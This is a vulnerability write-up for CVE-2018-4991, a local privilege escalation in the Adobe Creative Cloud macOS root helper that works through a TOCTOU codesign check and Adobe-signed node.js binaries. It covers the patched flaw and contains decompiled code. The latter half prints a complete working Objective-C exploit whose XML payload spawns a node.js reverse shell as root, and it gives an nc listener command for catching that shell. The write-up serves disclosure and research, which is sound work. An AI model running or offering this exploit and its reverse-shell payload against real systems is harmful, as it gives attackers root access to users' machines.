CVE-2018-4991: Adobe Creative Cloud Desktop Local Privilege Escalation via Signature Bypass

The private API design of XPC could make it hard for 3rd-party developers to write security code.

This write-up only covers macOS, but this issue may also affects Windows version.

Analysis

The patch was addressed in APSB18-12:

Adobe Security Bulletin

Adobe Creative Cloud installs a daemon with root privilege:

/Library/PrivilegedHelperTools/com.adobe.acc.installer

It accepts XPC connections via NSXPCConnection remote interface. There’s a method handleAction:withReply: in SMJobBlessHelper class that is exposed to non-rooted processes. The messages are serialized in XML.

For example, the following message will launch a process as root:

<?xml version="1.0" encoding="UTF-8"?>
<action>
<actionType>createProcess</actionType>
<actionArgs><cmdArgs><cmdArg>--pipename=25D51488-9FD7-4A81-B815-5997A6EBAF25</cmdArg>
</cmdArgs>
<processPath>/Library/Application Support/Adobe/Adobe Desktop Common/ElevationManager/Adobe Installer</processPath>
</actionArgs></action>

But there are signature checks, both upon establishing the connection and before the process creation:

// SMJobBlessHelper - (char)listener:(id) shouldAcceptNewConnection:(id)
char __cdecl -[SMJobBlessHelper listener:shouldAcceptNewConnection:](struct SMJobBlessHelper *self, SEL a2, id a3, id a4)
{
  v4 = &__stack_chk_guard;
  v29 = __stack_chk_guard;
  if ( a4 )
  {
    pid = objc_msgSend(a4, "processIdentifier");
    v6 = new_log_target();
    v7 = (void (__cdecl ***)(_DWORD, _DWORD, _DWORD))sub_3010((int)v6);
    (**v7)(
      v7,
      "Inside shouldAcceptNewConnection | Received new connection in SMJobBlessHelper from client with PID:%d",
      pid);
    __bzero(filename, 4096);
    __bzero(proc_name, 4096);
    if ( proc_pidpath((int)pid, filename, 0x1000u) )
    {
      if ( (unsigned __int8)is_valid_adobe_binary((int)filename) )
      {
        len = ::proc_name((int)pid, proc_name, 0x100u);
int __stdcall sub_31C0(std::string *a1, int a2)
{
  v39 = __stack_chk_guard;
  std::string::string(&v35, "<output><result>Fail</result></output>");
  v34 = 0;
  v33 = 0;
  if ( (unsigned __int8)is_valid_adobe_binary(*(_DWORD *)(a2 + 20)) )
  {
    v2 = new_log_target();
    v3 = sub_3010((int)v2);
    (*(void (__cdecl **)(int, const char *, _DWORD, _DWORD))(*(_DWORD *)v3 + 8))(
      v3,
      "Inside ProcessLauncher::executeAction | LaunchingProcess at path %s with waitForFinish %d",
      *(_DWORD *)(a2 + 16),
      *(_BYTE *)(a2 + 24));
    v4 = *(_BYTE *)(a2 + 24);
    v32 = 0;
    v5 = OOBEUtils::ProcessUtils::LaunchProcess((_DWORD *)(a2 + 16), a2 + 4, (int)&v34, v4, &v33, 0, (int)&v32, 0);
    v6 = new_log_target();

Inside OOBEUtils::CryptUtils::GetCANameChain, it simply invokes /usr/bin/codesign command to validate the caller and the new process.It’s clear to see that there is a TOCTOU.

v4 = objc_msgSend("NSAutoreleasePool", "alloc");
  v29 = objc_msgSend(v4, "init");
  v5 = objc_msgSend("NSString", "stringWithUTF8String:", *(_DWORD *)this);
  v6 = objc_msgSend("NSFileManager", "defaultManager");
  if ( (unsigned __int8)objc_msgSend(v6, "fileExistsAtPath:", v5) )
  {
    v7 = objc_msgSend("NSFileManager", "defaultManager");
    if ( (unsigned __int8)objc_msgSend(v7, "fileExistsAtPath:isDirectory:", CFSTR("/usr/bin/codesign"), &v33) )
    {
      if ( !v33 )
      {
        v8 = objc_msgSend("NSArray", "arrayWithObjects:", CFSTR("-dvv"), v5, 0);
        v9 = objc_msgSend("NSTask", "alloc");
        v10 = objc_msgSend(v9, "init");
        v28 = objc_msgSend(v10, "autorelease");
        v11 = objc_msgSend("NSPipe", "pipe");
        v12 = objc_msgSend(v11, "fileHandleForReading");
        objc_msgSend(v28, "setLaunchPath:", CFSTR("/usr/bin/codesign"));
        objc_msgSend(v28, "setArguments:", v8);
        objc_msgSend(v28, "setStandardOutput:", v11);
        objc_msgSend(v28, "setStandardError:", v11);
        objc_msgSend(v28, "launch");
        usleep_UNIX2003(10000);
        v13 = objc_msgSend(v12, "readDataToEndOfFile");
        v14 = objc_msgSend("NSString", "alloc");
        v15 = objc_msgSend(v14, "initWithData:encoding:", v13, 4);
        v16 = objc_msgSend(v15, "autorelease");
        v17 = objc_msgSend("NSCharacterSet", "newlineCharacterSet");
        v31 = objc_msgSend(v16, "componentsSeparatedByCharactersInSet:", v17);
        v36 = 0LL;
        v35 = 0LL;
        v32 = objc_msgSend(v31, "countByEnumeratingWithState:objects:count:", &v35, &v34, 16);
        if ( v32 )

And we don’t even bother racing with it…

There are many signed node.js copies cross many distributions and share the same developer team id:

This one from Adobe Creative Cloud:

➜ ~ codesign -dvvv "/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node"
Executable=/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node
Identifier=node
Format=Mach-O thin (x86_64)
CodeDirectory v=20200 size=238276 flags=0x0(none) hashes=7442+2 location=embedded
Hash type=sha256 size=32
CandidateCDHash sha1=a0e41e295e0111c35cdf7dfcf0c73701b4b51896
CandidateCDHash sha256=7649dad279f0456838ba79bfebb01d909d5bf6e8
Hash choices=sha1,sha256
CDHash=7649dad279f0456838ba79bfebb01d909d5bf6e8
Signature size=8964
Authority=Developer ID Application: Adobe Systems, Inc. (JQ525L2MZD)

This one from Adobe Brackets Editor:

➜ ~ codesign -dvvv "/Volumes/Brackets Release 1.12/Brackets.app/Contents/MacOS/Brackets-node"
Executable=/Volumes/Brackets Release 1.12/Brackets.app/Contents/MacOS/Brackets-node
Identifier=Brackets-node
Format=Mach-O thin (x86_64)
CodeDirectory v=20200 size=240909 flags=0x0(none) hashes=7524+2 location=embedded
Hash type=sha256 size=32
CandidateCDHash sha1=b4d944c41b1f3cf9bcd4ca085981ed71a5b7e7b6
CandidateCDHash sha256=51e1a917aad91d6045a4ba3357e7b527604c4aa5
Hash choices=sha1,sha256
CDHash=51e1a917aad91d6045a4ba3357e7b527604c4aa5
Signature size=8963
Authority=Developer ID Application: Adobe Systems, Inc. (JQ525L2MZD)

Do not trust script interpreter as a privilege boundary, because they are designed to execute untrusted code. The node.js interperter is also available on Windows. I did’t test but I believe that it’s easy to adopt the exploit to that.

Here’s a woking exploit. nc -lvvv 4444 to get an interactive root shell.

//
//  main.m
//  XPCFun
//
//  Created by CodeColorist on 06/12/2017.
//  Copyright © 2017 CodeColorist. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
#include <libproc.h>
#define DUMMY @"/Library/PrivilegedHelperTools/com.adobe.acc.installer"

@protocol SMJobBlessHelperProtocol
- (void)handleAction:(id)arg1 withReply:(void (^)(NSString *))reply;
- (void)getHelperToolVersion:(void (^)(NSString *))reply;
@end

#import <Cocoa/Cocoa.h>
int main(int argc, const char *argv[]) {
  @autoreleasepool {
    // TOCTOU signature bypass
    NSString *executable = [[NSBundle mainBundle] executablePath];
    NSFileManager *mgr = [NSFileManager defaultManager];
    NSError *err = nil;
    [mgr removeItemAtPath:executable error:&err];
    if (err) {
      NSLog(@"failed to remove file: %@", err);
      return -1;
    }
    [mgr copyItemAtPath:DUMMY toPath:executable error:&err];
    if (err) {
      NSLog(@"failed to override self: %@", err);
      return -1;
    }

    // another easy way is to run a signed node.js, and use process.dlopen to inject evil dylib
    NSLog(@"ready");
    dispatch_semaphore_t wait_for = dispatch_semaphore_create(0);

    // the local privilege escalation
    NSString *kXPCServiceName = @"com.adobe.acc.installer";
    NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:kXPCServiceName options:NSXPCConnectionPrivileged];
    conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SMJobBlessHelperProtocol)];
    conn.invalidationHandler = ^{
      NSLog(@"unknown error");
      dispatch_semaphore_signal(wait_for);
      exit(-1);
    };
    [conn resume];
    // yet another signature bypass: use node.js
    NSString *xml = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?><action>"
      "<actionType>createProcess</actionType>"
      "<actionArgs><cmdArgs><cmdArg>-e</cmdArg>"
      "<cmdArg>c=new require('net').Socket();c.connect(4444,'127.0.0.1',()=>{s = require('child_process').spawn('/bin/sh',[]);c.write('!');c.pipe(s.stdin);s.stdout.pipe(c)})</cmdArg>"
      "</cmdArgs>"
      "<processPath>/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node</processPath>"
      "</actionArgs>"
    "</action>";
    id remote = [conn remoteObjectProxyWithErrorHandler:^(NSError *proxyError) {
      NSLog(@"error: %@", proxyError);
    }];
    [remote handleAction:xml withReply:^(NSString *reply) {
      NSLog(@"reply: %@", reply);
      dispatch_semaphore_signal(wait_for);
    }];
    dispatch_semaphore_wait(wait_for, dispatch_time(DISPATCH_TIME_NOW, 2ull * NSEC_PER_SEC));
    [mgr removeItemAtPath:executable error:&err];
  }
  return 0;
}

Note that not only this XPC service is vulnerable. There are other libraries, like ElevationManager, share the same (vulnerable) code base, and can be trigger through other IPC mechanisms like FIFO files.

The Patch

Adobe removed the buggy codesign checker and made codesign requirement string more restrictive.